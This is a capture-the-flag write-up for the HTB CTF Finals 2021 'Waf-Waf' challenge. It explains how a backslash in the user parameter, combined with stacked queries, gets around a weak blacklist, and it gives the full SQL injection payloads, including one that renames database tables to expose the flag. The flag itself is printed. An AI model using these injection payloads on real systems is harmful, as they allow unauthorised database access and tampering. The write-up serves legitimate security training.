HTBCTF Finals 2021: Waf-Waf Write-up
Table of Contents
tl;dr
- Rename table and exploit SQL Injection to get the flag.
#
Challenge Description
Who let the blacklists out?
#
Source Code
|
|
#
Analysis
- Parameters
user
andpass
are directly fed into the query and might cause SQL Injection. - The filters applied for the parameters are not strong enough.
- Multiple queries can be executed at a time since
multi_query
function is used. - Inserting single quotes are not allowed.
#
Solution
Inserting
\
as value foruser
parameter causes a part of the query to be treated as a string, and thepass
parameter can be used for SQL Injection. The query becomes1
SELECT * FROM `users` WHERE `username` = 'secure\' AND `password` = '; <SQL Injection here> -- -'
Notice that the users table is empty. So the flag must be in some other table.
?user=secure\&pass=or 1;
Tables could be listed out with
?user=\&pass=; show tables;-- -
.1
{"Tables_in_security":"definitely_not_a_flag"}
A table
definitely_not_a_flag
exists in the database.Enumerating the columns of
definitely_not_a_flag
table.1
{"Field":"flag","Type":"varchar(80)","Null":"NO","Key":"","Default":null,"Extra":""}
There is also a username column in this table which can be seen after droping the column.
Exploit: We rename
users
table tobackup_table
anddefinitely_not_a_flag
tousers
. So, when the select query is executed next time, we can get data fromdefinitely_not_a_flag
table.`?user=\&pass=; RENAME TABLE users TO backup_table, definitely_not_a_flag TO users;-- -`
1
{"flag":"HTB{wh0_l3t_th3_w4fs_0ut?!..w00f..w00f.w00f!}","username":""}
#
Solver Script
|
|
#
Flag
HTB{wh0_l3t_th3_w4fs_0ut?!..w00f..w00f.w00f!}